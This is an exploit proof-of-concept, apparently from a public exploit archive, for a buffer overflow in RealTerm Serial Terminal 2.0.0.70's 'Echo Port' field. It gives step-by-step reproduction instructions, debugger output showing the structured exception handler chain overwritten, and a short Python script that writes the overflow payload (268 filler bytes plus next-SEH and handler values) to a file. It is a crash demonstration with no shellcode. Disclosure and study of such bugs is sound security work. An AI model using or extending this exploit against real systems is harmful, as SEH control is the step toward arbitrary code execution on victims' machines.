Realterm Serial Termianl 2.0.0.70 Buffer Overflow

`# -*- coding: utf-8 -*-  
# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Overflow Crash (SEH) (PoC)  
# Date: 16/02/2019  
# Author: Alejandra SA!nchez  
# Vendor Homepage: https://realterm.sourceforge.io/  
# Software Link: https://sourceforge.net/projects/realterm/files/   
# Version: 2.0.0.70  
# Tested on: Windows 10 / Windows XP   
  
  
# Proof of Concept:  
# 1.- Run the python script "EchoPort.py", it will create a new file "EchoPort.txt"  
# 2.- Copy the content of the new file 'EchoPort.txt' to clipboard  
# 3.- Open realterm.exe   
# 4.- Go to 'Echo Port' tab  
# 5.- Paste clipboard in 'Port' field  
# 6.- Click on button -> Change  
# 7.- Check 'Echo On' or   
# 8.- Crashed  
  
# After the execution of POC, the SEH chain looks like this:   
# 0012F57C 43434343  
# 42424242 *** CORRUPT ENTRY ***  
  
# And the Stack  
  
#0012F568 41414141 AAAA  
#0012F56C 41414141 AAAA  
#0012F570 41414141 AAAA  
#0012F574 41414141 AAAA  
#0012F578 42424242 BBBB Pointer to next SEH record  
#0012F57C 43434343 CCCC SE handler  
  
  
buffer = "\x41" * 268   
nseh = "\x42" * 4  
seh = "\x43" * 4  
f = open ("EchoPort.txt", "w")  
f.write(buffer+nseh+seh)  
f.close()  
`